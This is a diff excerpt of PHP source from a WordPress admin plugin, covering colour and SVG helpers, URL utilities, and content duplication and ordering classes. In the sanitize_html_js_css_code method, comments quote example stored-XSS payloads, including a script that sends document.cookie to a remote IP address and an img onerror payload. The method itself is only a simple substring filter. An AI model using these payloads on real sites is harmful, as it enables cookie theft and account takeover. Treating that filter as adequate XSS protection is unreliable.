$hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
|
||||
}
|
||||
$hex = array_map( 'hexdec', str_split( $hex, 2 ) );
|
||||
foreach ( $hex as &$color ) {
|
||||
$adjustableLimit = ( $adjustment_percentage < 0 ? $color : 255 - $color );
|
||||
$adjustAmount = ceil( $adjustableLimit * $adjustment_percentage );
|
||||
$color = str_pad(
|
||||
dechex( $color + $adjustAmount ),
|
||||
2,
|
||||
'0',
|
||||
STR_PAD_LEFT
|
||||
);
|
||||
}
|
||||
return '#' . implode( $hex );
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect if a color is light or dark
|
||||
*
|
||||
* @link https://stackoverflow.com/a/12228730
|
||||
* @since 7.0.0
|
||||
*/
|
||||
public function is_color_dark( $hex ) {
|
||||
$hex = str_replace( '#', '', trim( (string) $hex ) );
|
||||
if ( 3 === strlen( $hex ) ) {
|
||||
$hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
|
||||
}
|
||||
if ( 6 !== strlen( $hex ) || !ctype_xdigit( $hex ) ) {
|
||||
return true;
|
||||
}
|
||||
$r = hexdec( substr( $hex, 0, 2 ) );
|
||||
$g = hexdec( substr( $hex, 2, 2 ) );
|
||||
$b = hexdec( substr( $hex, 4, 2 ) );
|
||||
$lightness = (max( $r, $g, $b ) + min( $r, $g, $b )) / 510.0;
|
||||
// HSL algorithm
|
||||
return $lightness <= 0.8;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return SVG for small triangle in place of using ▶ HTMl character
|
||||
* which may be converted to emoticon by the browser or app
|
||||
*
|
||||
* @since 7.2.0
|
||||
*/
|
||||
public function get_svg_triangle() {
|
||||
return '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" viewBox="0 0 16 16"><path fill="currentColor" d="M14.222 6.687a1.5 1.5 0 0 1 0 2.629l-10 5.499A1.5 1.5 0 0 1 2 13.5V2.502a1.5 1.5 0 0 1 2.223-1.314z"/></svg>';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get intrinsic width/height dimensions from a local SVG file.
|
||||
*
|
||||
* Some SVGs use percentage width/height attributes (e.g. width="100%" height="100%").
|
||||
* In those cases, a correct aspect ratio should be derived from the viewBox instead.
|
||||
*
|
||||
* @since 9.2.0
|
||||
*
|
||||
* @param string $svg_path Absolute path to a local SVG file.
|
||||
* @return array{width:int,height:int} Intrinsic dimensions if known, otherwise 0/0.
|
||||
*/
|
||||
public function get_svg_intrinsic_dimensions_from_file( $svg_path ) {
|
||||
$dims = array(
|
||||
'width' => 0,
|
||||
'height' => 0,
|
||||
);
|
||||
$svg_path = (string) $svg_path;
|
||||
if ( '' === $svg_path ) {
|
||||
return $dims;
|
||||
}
|
||||
$ext = strtolower( (string) pathinfo( $svg_path, PATHINFO_EXTENSION ) );
|
||||
if ( 'svg' !== $ext ) {
|
||||
return $dims;
|
||||
}
|
||||
if ( !file_exists( $svg_path ) ) {
|
||||
return $dims;
|
||||
}
|
||||
// Safely parse SVG XML without allowing network access.
|
||||
$prev_internal_errors = libxml_use_internal_errors( true );
|
||||
$svg = simplexml_load_file( $svg_path, 'SimpleXMLElement', LIBXML_NONET | LIBXML_NOCDATA );
|
||||
libxml_clear_errors();
|
||||
libxml_use_internal_errors( $prev_internal_errors );
|
||||
if ( false === $svg ) {
|
||||
return $dims;
|
||||
}
|
||||
$attributes = $svg->attributes();
|
||||
$width_raw = ( isset( $attributes->width ) ? trim( (string) $attributes->width ) : '' );
|
||||
$height_raw = ( isset( $attributes->height ) ? trim( (string) $attributes->height ) : '' );
|
||||
$view_box = ( isset( $attributes->viewBox ) ? trim( (string) $attributes->viewBox ) : '' );
|
||||
$length_dims = $this->parse_svg_width_height_pair( $width_raw, $height_raw );
|
||||
if ( $length_dims['width'] > 0 && $length_dims['height'] > 0 ) {
|
||||
return $length_dims;
|
||||
}
|
||||
$vb_dims = $this->parse_svg_viewbox_dimensions( $view_box );
|
||||
if ( $vb_dims['width'] > 0 && $vb_dims['height'] > 0 ) {
|
||||
return $vb_dims;
|
||||
}
|
||||
return $dims;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse SVG width/height attributes when both values are absolute lengths.
|
||||
*
|
||||
* If either value is percentage-based (contains "%") or otherwise not parseable as an
|
||||
* absolute length, return 0/0 so callers can fall back to viewBox.
|
||||
*
|
||||
* @since 9.2.0
|
||||
*
|
||||
* @param string $width_raw Raw `width` attribute value.
|
||||
* @param string $height_raw Raw `height` attribute value.
|
||||
* @return array{width:int,height:int}
|
||||
*/
|
||||
private function parse_svg_width_height_pair( $width_raw, $height_raw ) {
|
||||
$dims = array(
|
||||
'width' => 0,
|
||||
'height' => 0,
|
||||
);
|
||||
$width_raw = (string) $width_raw;
|
||||
$height_raw = (string) $height_raw;
|
||||
if ( '' === $width_raw || '' === $height_raw ) {
|
||||
return $dims;
|
||||
}
|
||||
// Percentage sizes are not intrinsic dimensions.
|
||||
if ( false !== strpos( $width_raw, '%' ) || false !== strpos( $height_raw, '%' ) ) {
|
||||
return $dims;
|
||||
}
|
||||
$width_parsed = $this->parse_svg_absolute_length_value( $width_raw );
|
||||
$height_parsed = $this->parse_svg_absolute_length_value( $height_raw );
|
||||
if ( empty( $width_parsed['value'] ) || empty( $height_parsed['value'] ) ) {
|
||||
return $dims;
|
||||
}
|
||||
// Require matching units (treat empty as px) to avoid having to convert.
|
||||
$width_unit = ( isset( $width_parsed['unit'] ) ? (string) $width_parsed['unit'] : '' );
|
||||
$height_unit = ( isset( $height_parsed['unit'] ) ? (string) $height_parsed['unit'] : '' );
|
||||
if ( $width_unit !== $height_unit ) {
|
||||
return $dims;
|
||||
}
|
||||
$w = (float) $width_parsed['value'];
|
||||
$h = (float) $height_parsed['value'];
|
||||
if ( $w <= 0 || $h <= 0 ) {
|
||||
return $dims;
|
||||
}
|
||||
$dims['width'] = (int) round( $w );
|
||||
$dims['height'] = (int) round( $h );
|
||||
return $dims;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse SVG viewBox dimensions.
|
||||
*
|
||||
* @since 9.2.0
|
||||
*
|
||||
* @param string $view_box Raw `viewBox` attribute value.
|
||||
* @return array{width:int,height:int}
|
||||
*/
|
||||
private function parse_svg_viewbox_dimensions( $view_box ) {
|
||||
$dims = array(
|
||||
'width' => 0,
|
||||
'height' => 0,
|
||||
);
|
||||
$view_box = trim( (string) $view_box );
|
||||
if ( '' === $view_box ) {
|
||||
return $dims;
|
||||
}
|
||||
$parts = preg_split( '/[\\s,]+/', $view_box );
|
||||
if ( !is_array( $parts ) ) {
|
||||
return $dims;
|
||||
}
|
||||
$parts = array_values( array_filter( $parts, 'strlen' ) );
|
||||
if ( count( $parts ) < 4 ) {
|
||||
return $dims;
|
||||
}
|
||||
$vb_w = floatval( $parts[2] );
|
||||
$vb_h = floatval( $parts[3] );
|
||||
if ( $vb_w <= 0 || $vb_h <= 0 ) {
|
||||
return $dims;
|
||||
}
|
||||
$dims['width'] = (int) round( $vb_w );
|
||||
$dims['height'] = (int) round( $vb_h );
|
||||
return $dims;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse an SVG length attribute as an absolute value and unit.
|
||||
*
|
||||
* Supports unitless values and common absolute units used in SVG. Percentage values
|
||||
* are rejected earlier by the caller.
|
||||
*
|
||||
* @since 9.2.0
|
||||
*
|
||||
* @param string $raw Raw attribute value.
|
||||
* @return array{value:float,unit:string}|array{} Empty array if not parseable.
|
||||
*/
|
||||
private function parse_svg_absolute_length_value( $raw ) {
|
||||
$raw = trim( (string) $raw );
|
||||
if ( '' === $raw ) {
|
||||
return array();
|
||||
}
|
||||
if ( !preg_match( '/^\\s*([0-9]*\\.?[0-9]+)\\s*(px|pt|pc|mm|cm|in|q)?\\s*$/i', $raw, $matches ) ) {
|
||||
return array();
|
||||
}
|
||||
$value = floatval( $matches[1] );
|
||||
if ( $value <= 0 ) {
|
||||
return array();
|
||||
}
|
||||
$unit = ( isset( $matches[2] ) ? strtolower( (string) $matches[2] ) : '' );
|
||||
// Normalize empty unit to px (SVG/CSS default).
|
||||
if ( '' === $unit ) {
|
||||
$unit = 'px';
|
||||
}
|
||||
return array(
|
||||
'value' => $value,
|
||||
'unit' => $unit,
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get an image URL from an ASE setting field, which could be an internal relative URL or an external URL
|
||||
*
|
||||
* @since 7.2.1
|
||||
*/
|
||||
public function get_image_url( $ase_settings_field_name ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( isset( $options[$ase_settings_field_name] ) ) {
|
||||
if ( false === strpos( $options[$ase_settings_field_name], 'http' ) && false !== strpos( $options[$ase_settings_field_name], '/uploads/' ) ) {
|
||||
$logo_image = content_url() . $options[$ase_settings_field_name];
|
||||
} else {
|
||||
// $maybe_valid_url = filter_var( $options['admin_logo_image'], FILTER_SANITIZE_URL );
|
||||
$maybe_valid_url = sanitize_url( $options[$ase_settings_field_name], array('http', 'https') );
|
||||
if ( false !== filter_var( $maybe_valid_url, FILTER_VALIDATE_URL ) ) {
|
||||
$logo_image = $maybe_valid_url;
|
||||
} else {
|
||||
$logo_image = '';
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$logo_image = '';
|
||||
}
|
||||
return $logo_image;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get current URL, without query parameters and without trailing slash
|
||||
* e.g. https://www.site.com/some-page
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_current_url() {
|
||||
$output = '';
|
||||
$url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
$url_parts = explode( '?', $url, 2 );
|
||||
// limit to max of 2 elements with last element containing the rest of the string
|
||||
if ( isset( $url_parts[0] ) ) {
|
||||
$output = trim( $url_parts[0], '/' );
|
||||
}
|
||||
return ( $output ? urldecode( $output ) : '/' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get full URL, with query parameters
|
||||
* e.g. https://www.site.com/some-page?param=value
|
||||
*
|
||||
* @link https://stackoverflow.com/a/6768831
|
||||
* @since 7.8.18
|
||||
*/
|
||||
public function get_full_url() {
|
||||
$full_url = (( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' )) . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
|
||||
return $full_url;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get array of elements with value of true
|
||||
*
|
||||
* @since 7.6.10
|
||||
*/
|
||||
public function get_array_of_keys_with_true_value( $array_with_true_false_values ) {
|
||||
$array_of_keys_with_true_value = array();
|
||||
if ( is_array( $array_with_true_false_values ) && count( $array_with_true_false_values ) > 0 ) {
|
||||
foreach ( $array_with_true_false_values as $key => $value ) {
|
||||
if ( $value ) {
|
||||
$array_of_keys_with_true_value[] = $key;
|
||||
}
|
||||
}
|
||||
return $array_of_keys_with_true_value;
|
||||
} else {
|
||||
return array();
|
||||
// default, empty array
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize user-submitted code from potential security vulnerabilities
|
||||
*
|
||||
* @since 7.8.7
|
||||
*/
|
||||
public function sanitize_html_js_css_code( $code ) {
|
||||
$code_lines = explode( PHP_EOL, $code );
|
||||
$sanitized_code_lines = array();
|
||||
foreach ( $code_lines as $code_line ) {
|
||||
if ( false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'document.cookie' ) ) {
|
||||
// Do nothing. Do not include the code line in the sanitized code.
|
||||
// Example of malicious code:
|
||||
// 1. Stored XSS vulnerability: <script>new Image().src='http://10.5.7.89:8001/index.php?c='+document.cookie</script>
|
||||
// This line of code will send cookies from users browser to a remote server for exploitation
|
||||
} else {
|
||||
if ( false !== strpos( $code_line, '<img' ) && false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'onerror' ) ) {
|
||||
// Do nothing. Do not include the code line in the sanitized code.
|
||||
// Example of malicious code:
|
||||
// 1. Stored XSS vulnerability: <img src=x onerror=alert(1)>
|
||||
// This may entail account takeover backdoor
|
||||
} else {
|
||||
$sanitized_code_lines[] = $code_line;
|
||||
}
|
||||
}
|
||||
}
|
||||
$sanitized_code = implode( PHP_EOL, $sanitized_code_lines );
|
||||
return $sanitized_code;
|
||||
}
|
||||
|
||||
/**
|
||||
* Part of Disable Embeds module
|
||||
* Remove all rewrite rules related to embeds.
|
||||
* During deactivation / activation.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
|
||||
* @since 8.0.0
|
||||
*
|
||||
* @param array $rules WordPress rewrite rules.
|
||||
* @return array Rewrite rules without embeds rules.
|
||||
*/
|
||||
public function disable_embeds_rewrites( $rules ) {
|
||||
foreach ( $rules as $rule => $rewrite ) {
|
||||
if ( false !== strpos( $rewrite, 'embed=true' ) ) {
|
||||
unset($rules[$rule]);
|
||||
}
|
||||
}
|
||||
return $rules;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get an indexed array of public post type slug => label pairs
|
||||
*
|
||||
* @since 8.0.1
|
||||
*/
|
||||
public function get_public_post_type_slugs() {
|
||||
$asenha_public_post_types = array();
|
||||
$public_post_type_names = get_post_types( array(
|
||||
'public' => true,
|
||||
), 'names' );
|
||||
foreach ( $public_post_type_names as $post_type_name ) {
|
||||
$post_type_object = get_post_type_object( $post_type_name );
|
||||
$asenha_public_post_types[$post_type_name] = $post_type_object->label;
|
||||
}
|
||||
asort( $asenha_public_post_types );
|
||||
// sort by value, ascending
|
||||
return $asenha_public_post_types;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,342 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Admin_Bar;
|
||||
use WC_Admin_Duplicate_Product;
|
||||
/**
|
||||
* Class for Content Duplication module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Content_Duplication {
|
||||
public $inapplicable_post_types = array(
|
||||
'attachment',
|
||||
// public
|
||||
'asenha_code_snippet',
|
||||
// public, ASE
|
||||
'asenha_cpt',
|
||||
// non-public, ASE
|
||||
'asenha_ctax',
|
||||
// non-public, ASE
|
||||
'asenha_cfgroup',
|
||||
// non-public, ASE
|
||||
'asenha_options_page',
|
||||
// non-public, ASE
|
||||
'options_page_config',
|
||||
// non-public, ASE
|
||||
'revision',
|
||||
// non-public
|
||||
'nav_menu_item',
|
||||
// non-public
|
||||
'custom_css',
|
||||
// non-public
|
||||
'customize_changeset',
|
||||
// non-public
|
||||
'oembed_cache',
|
||||
// non-public
|
||||
'user_request',
|
||||
// non-public
|
||||
'wp_block',
|
||||
// non-public
|
||||
'wp_template',
|
||||
// non-public
|
||||
'wp_template_part',
|
||||
// non-public
|
||||
'wp_global_styles',
|
||||
// non-public
|
||||
'wp_navigation',
|
||||
// non-public
|
||||
'wp_font_family',
|
||||
// non-public
|
||||
'wp_font_face',
|
||||
// non-public
|
||||
'patterns_ai_data',
|
||||
// non-public
|
||||
'product_variation',
|
||||
// non-public, WooCommerce
|
||||
'shop_order',
|
||||
// non-public, WooCommerce
|
||||
'shop_order_refund',
|
||||
// non-public, WooCommerce
|
||||
'shop_coupon',
|
||||
// non-public, WooCommerce
|
||||
'shop_order_placehold',
|
||||
// non-public, WooCommerce
|
||||
// 'elementor_library', // public, Elementor -- not excluded as data is stored only in wp_posts and wp_postmeta
|
||||
// 'e-landing-page', // public, Elementor -- not excluded as data is stored only in wp_posts and wp_postmeta
|
||||
'elementor_snippet',
|
||||
// non-public, Elementor
|
||||
'elementor_font',
|
||||
// non-public, Elementor
|
||||
'elementor_icons',
|
||||
// non-public, Elementor
|
||||
'sfwd-assignment',
|
||||
// public, LearnDash
|
||||
'sfwd-certificates',
|
||||
// public, LearnDash
|
||||
'sfwd-courses',
|
||||
// public, LearnDash
|
||||
'sfwd-lessons',
|
||||
// public, LearnDash
|
||||
'sfwd-quiz',
|
||||
// public, LearnDash
|
||||
'sfwd-essays',
|
||||
// public, LearnDash
|
||||
'sfwd-topic',
|
||||
// public, LearnDash
|
||||
'sfwd-transactions',
|
||||
// public, LearnDash
|
||||
'sfwd-question',
|
||||
// non-public, LearnDash
|
||||
'ld-exam',
|
||||
// non-public, LearnDash
|
||||
'wfacp_checkout',
|
||||
// public, FunnelKit Automation
|
||||
'wffn_oty',
|
||||
// public, FunnelKit Funnel Builder
|
||||
'wffn_optin',
|
||||
// public, FunnelKit Funnel Builder
|
||||
'wffn_landing',
|
||||
// public, FunnelKit Funnel Builder
|
||||
'wffn_ty',
|
||||
// public, FunnelKit Funnel Builder
|
||||
'kadence_form',
|
||||
// non-public, Kadence Blocks
|
||||
'kadence_header',
|
||||
// non-public, Kadence Blocks
|
||||
'kadence_navigation',
|
||||
// non-public, Kadence Blocks
|
||||
'kadence_lottie',
|
||||
// non-public, Kadence Blocks
|
||||
'kadence_vector',
|
||||
// non-public, Kadence Blocks
|
||||
'kb_icon',
|
||||
);
|
||||
|
||||
/**
|
||||
* Enable duplication of pages, posts and custom posts
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function duplicate_content() {
|
||||
$original_post_id = intval( sanitize_text_field( $_REQUEST['post'] ) );
|
||||
$allow_duplication = false;
|
||||
if ( current_user_can( 'edit_post', $original_post_id ) ) {
|
||||
$allow_duplication = true;
|
||||
}
|
||||
$nonce = sanitize_text_field( $_REQUEST['nonce'] );
|
||||
if ( wp_verify_nonce( $nonce, 'asenha-duplicate-' . $original_post_id ) && $allow_duplication ) {
|
||||
$original_post = get_post( $original_post_id );
|
||||
$post_type = $original_post->post_type;
|
||||
$common_methods = new Common_Methods();
|
||||
$is_woocommerce_active = $common_methods->is_woocommerce_active();
|
||||
if ( 'product' != $post_type || 'product' == $post_type && !$is_woocommerce_active ) {
|
||||
// Set some attributes for the duplicate post
|
||||
$new_post_title_suffix = __( 'DUPLICATE', 'admin-site-enhancements' );
|
||||
$new_post_status = 'draft';
|
||||
$current_user = wp_get_current_user();
|
||||
$new_post_author_id = $current_user->ID;
|
||||
// Create the duplicate post and store the ID
|
||||
$args = array(
|
||||
'comment_status' => $original_post->comment_status,
|
||||
'ping_status' => $original_post->ping_status,
|
||||
'post_author' => $new_post_author_id,
|
||||
'post_content' => str_replace( '\\', "\\\\", $original_post->post_content ),
|
||||
'post_excerpt' => $original_post->post_excerpt,
|
||||
'post_parent' => $original_post->post_parent,
|
||||
'post_password' => $original_post->post_password,
|
||||
'post_status' => $new_post_status,
|
||||
'post_title' => $original_post->post_title . ' (' . $new_post_title_suffix . ')',
|
||||
'post_type' => $original_post->post_type,
|
||||
'to_ping' => $original_post->to_ping,
|
||||
'menu_order' => $original_post->menu_order,
|
||||
);
|
||||
$new_post_id = wp_insert_post( $args );
|
||||
// Copy over the taxonomies
|
||||
$original_taxonomies = get_object_taxonomies( $original_post->post_type );
|
||||
if ( !empty( $original_taxonomies ) && is_array( $original_taxonomies ) ) {
|
||||
foreach ( $original_taxonomies as $taxonomy ) {
|
||||
$original_post_terms = wp_get_object_terms( $original_post_id, $taxonomy, array(
|
||||
'fields' => 'slugs',
|
||||
) );
|
||||
wp_set_object_terms(
|
||||
$new_post_id,
|
||||
$original_post_terms,
|
||||
$taxonomy,
|
||||
false
|
||||
);
|
||||
}
|
||||
}
|
||||
$excluded_post_meta_keys = array();
|
||||
// Copy over the post meta
|
||||
$original_post_metas = get_post_meta( $original_post_id );
|
||||
// all meta keys and the corresponding values
|
||||
if ( !empty( $original_post_metas ) ) {
|
||||
foreach ( $original_post_metas as $meta_key => $meta_values ) {
|
||||
if ( !in_array( $meta_key, $excluded_post_meta_keys ) ) {
|
||||
// Only copy over post meta that are not ASE custom fields. We will handle that later.
|
||||
foreach ( $meta_values as $meta_value ) {
|
||||
update_post_meta( $new_post_id, $meta_key, wp_slash( maybe_unserialize( $meta_value ) ) );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$duplication_redirect_destination = ( isset( $options['duplication_redirect_destination'] ) ? $options['duplication_redirect_destination'] : 'edit' );
|
||||
switch ( $duplication_redirect_destination ) {
|
||||
case 'edit':
|
||||
// Redirect to edit screen of the duplicate post
|
||||
wp_redirect( admin_url( 'post.php?action=edit&post=' . $new_post_id ) );
|
||||
break;
|
||||
case 'list':
|
||||
// Redirect to list table of the corresponding post type of original post
|
||||
if ( 'post' == $post_type ) {
|
||||
wp_redirect( admin_url( 'edit.php' ) );
|
||||
} else {
|
||||
wp_redirect( admin_url( 'edit.php?post_type=' . $post_type ) );
|
||||
}
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
wp_die( 'You do not have permission to perform this action.' );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add row action link to perform duplication in page/post list tables
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function add_duplication_action_link( $actions, $post ) {
|
||||
$duplication_link_locations = $this->get_duplication_link_locations();
|
||||
$allow_duplication = $this->is_user_allowed_to_duplicate_content( $post );
|
||||
$post_type = $post->post_type;
|
||||
$post_type_is_duplicable = $this->is_post_type_duplicable( $post_type );
|
||||
if ( $allow_duplication && $post_type_is_duplicable ) {
|
||||
// Not WooCommerce product
|
||||
if ( in_array( 'post-action', $duplication_link_locations ) ) {
|
||||
$actions['asenha-duplicate'] = '<a href="admin.php?action=duplicate_content&post=' . $post->ID . '&nonce=' . wp_create_nonce( 'asenha-duplicate-' . $post->ID ) . '" title="' . __( 'Duplicate this as draft', 'admin-site-enhancements' ) . '">' . __( 'Duplicate', 'admin-site-enhancements' ) . '</a>';
|
||||
}
|
||||
}
|
||||
return $actions;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add admin bar duplicate link
|
||||
*
|
||||
* @since 6.3.0
|
||||
*/
|
||||
public function add_admin_bar_duplication_link( WP_Admin_Bar $wp_admin_bar ) {
|
||||
global $pagenow, $post;
|
||||
$duplication_link_locations = $this->get_duplication_link_locations();
|
||||
$allow_duplication = $this->is_user_allowed_to_duplicate_content( $post );
|
||||
if ( is_object( $post ) ) {
|
||||
if ( property_exists( $post, 'post_type' ) ) {
|
||||
$post_type = $post->post_type;
|
||||
$inapplicable_post_types = array('attachment');
|
||||
$post_type_is_duplicable = $this->is_post_type_duplicable( $post_type );
|
||||
if ( $allow_duplication && $post_type_is_duplicable ) {
|
||||
if ( 'post.php' == $pagenow && !in_array( $post_type, $inapplicable_post_types ) || is_singular() || is_front_page() && !is_home() ) {
|
||||
if ( in_array( 'admin-bar', $duplication_link_locations ) ) {
|
||||
$common_methods = new Common_Methods();
|
||||
$post_type_singular_label = $common_methods->get_post_type_singular_label( $post );
|
||||
$post_id = 0;
|
||||
if ( is_front_page() && !is_home() ) {
|
||||
$post_id = get_option( 'page_on_front' );
|
||||
} else {
|
||||
// if ( property_exists( $post, 'ID' ) ) {
|
||||
$post_id = (int) $post->ID;
|
||||
// } else {
|
||||
// $post_id = 0;
|
||||
// }
|
||||
}
|
||||
if ( $post_id > 0 ) {
|
||||
$wp_admin_bar->add_menu( array(
|
||||
'id' => 'duplicate-content',
|
||||
'parent' => null,
|
||||
'group' => null,
|
||||
'title' => sprintf(
|
||||
/* translators: %s is the singular label for the post type */
|
||||
__( 'Duplicate %s', 'admin-site-enhancements' ),
|
||||
$post_type_singular_label
|
||||
),
|
||||
'href' => admin_url( 'admin.php?action=duplicate_content&post=' . $post_id . '&nonce=' . wp_create_nonce( 'asenha-duplicate-' . $post_id ) ),
|
||||
) );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check at which locations duplication link should enabled
|
||||
*
|
||||
* @since 6.9.3
|
||||
*/
|
||||
public function get_duplication_link_locations() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$duplication_link_locations = array('post-action', 'admin-bar');
|
||||
return $duplication_link_locations;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a user role is allowed to duplicate content
|
||||
*
|
||||
* @since 6.9.3
|
||||
*/
|
||||
public function is_user_allowed_to_duplicate_content( $post = null ) {
|
||||
$allow_duplication = false;
|
||||
if ( is_object( $post ) ) {
|
||||
if ( property_exists( $post, 'ID' ) ) {
|
||||
if ( current_user_can( 'edit_post', $post->ID ) ) {
|
||||
$allow_duplication = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return $allow_duplication;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the post type can be duplicated
|
||||
*
|
||||
* @since 6.9.7
|
||||
*/
|
||||
public function is_post_type_duplicable( $post_type ) {
|
||||
$common_methods = new Common_Methods();
|
||||
$asenha_public_post_types = $common_methods->get_public_post_type_slugs();
|
||||
$inapplicable_post_types = $this->inapplicable_post_types;
|
||||
$is_woocommerce_active = $common_methods->is_woocommerce_active();
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$enable_duplication_on_post_types_type = 'only-on';
|
||||
$asenha_public_post_types_slugs = array();
|
||||
if ( is_array( $asenha_public_post_types ) ) {
|
||||
foreach ( $asenha_public_post_types as $post_type_slug => $post_type_label ) {
|
||||
// e.g. $post_type_slug is post,
|
||||
$asenha_public_post_types_slugs[] = $post_type_slug;
|
||||
}
|
||||
}
|
||||
$enable_duplication_on_post_types = ( isset( $options['enable_duplication_on_post_types'] ) ? $options['enable_duplication_on_post_types'] : array() );
|
||||
$post_types_for_enable_duplication = array();
|
||||
if ( !empty( $enable_duplication_on_post_types ) && count( $enable_duplication_on_post_types ) > 0 ) {
|
||||
foreach ( $enable_duplication_on_post_types as $post_type_slug => $is_duplication_enabled ) {
|
||||
if ( $is_duplication_enabled ) {
|
||||
$post_types_for_enable_duplication[] = $post_type_slug;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$post_types_for_enable_duplication = $asenha_public_post_types_slugs;
|
||||
}
|
||||
if ( 'only-on' == $enable_duplication_on_post_types_type && in_array( $post_type, $post_types_for_enable_duplication ) && !in_array( $post_type, $inapplicable_post_types ) || 'except-on' == $enable_duplication_on_post_types_type && !in_array( $post_type, $post_types_for_enable_duplication ) && !in_array( $post_type, $inapplicable_post_types ) ) {
|
||||
if ( 'product' != $post_type || 'product' == $post_type && !$is_woocommerce_active ) {
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,592 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Query;
|
||||
/**
|
||||
* Class for Content Order module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Content_Order {
|
||||
/**
|
||||
* Whether to render featured image thumbnails on the "Order" admin page.
|
||||
*
|
||||
* Pro-only feature. Default is false to avoid rendering thumbnails for large lists.
|
||||
*
|
||||
* @var bool
|
||||
*/
|
||||
private $show_featured_thumbnails = false;
|
||||
|
||||
/**
|
||||
* Add "Custom Order" sub-menu for post types
|
||||
*
|
||||
* @since 5.0.0
|
||||
*/
|
||||
public function add_content_order_submenu( $context ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
|
||||
$content_order_enabled_post_types = array();
|
||||
if ( is_array( $content_order_for ) && count( $content_order_for ) > 0 ) {
|
||||
foreach ( $content_order_for as $post_type_slug => $is_custom_order_enabled ) {
|
||||
if ( $is_custom_order_enabled ) {
|
||||
$post_type_object = get_post_type_object( $post_type_slug );
|
||||
if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'labels' ) ) {
|
||||
$post_type_name_plural = $post_type_object->labels->name;
|
||||
if ( 'post' == $post_type_slug ) {
|
||||
$hook_suffix = add_posts_page(
|
||||
$post_type_name_plural . ' Order',
|
||||
// Page title
|
||||
__( 'Order', 'admin-site-enhancements' ),
|
||||
// Menu title
|
||||
'edit_others_posts',
|
||||
// Capability required
|
||||
'custom-order-posts',
|
||||
// Menu and page slug
|
||||
[$this, 'custom_order_page_output']
|
||||
);
|
||||
} else {
|
||||
if ( 'sfwd-courses' == $post_type_slug ) {
|
||||
// LearnDash LMS Courses
|
||||
// Add 'Order' submenu item under LearnDash menu
|
||||
// Linked URL will be /wp-admin/admin.php?page=custom-order-sfwd-courses
|
||||
// We will add a redirect to the correct URL via $this->maybe_perform_menu_link_redirects() hooked in admin_init
|
||||
$hook_suffix = add_submenu_page(
|
||||
'learndash-lms',
|
||||
// Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
|
||||
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
|
||||
// Page title
|
||||
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
|
||||
// Menu title
|
||||
'edit_others_posts',
|
||||
// Capability required
|
||||
'custom-order-' . $post_type_slug,
|
||||
// Menu and page slug
|
||||
[$this, 'custom_order_page_output'],
|
||||
// Callback function that outputs page content
|
||||
9999
|
||||
);
|
||||
// Add the actual, functional 'Order' submenu page at /edit.php?post_type=sfwd-courses&page=custom-order-sfwd-courses
|
||||
// We will redirect to this URL from /wp-admin/admin.php?page=custom-order-sfwd-courses created above using $this->maybe_perform_menu_link_redirects() hooked in admin_init
|
||||
$hook_suffix = add_submenu_page(
|
||||
'edit.php?post_type=' . $post_type_slug,
|
||||
// Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
|
||||
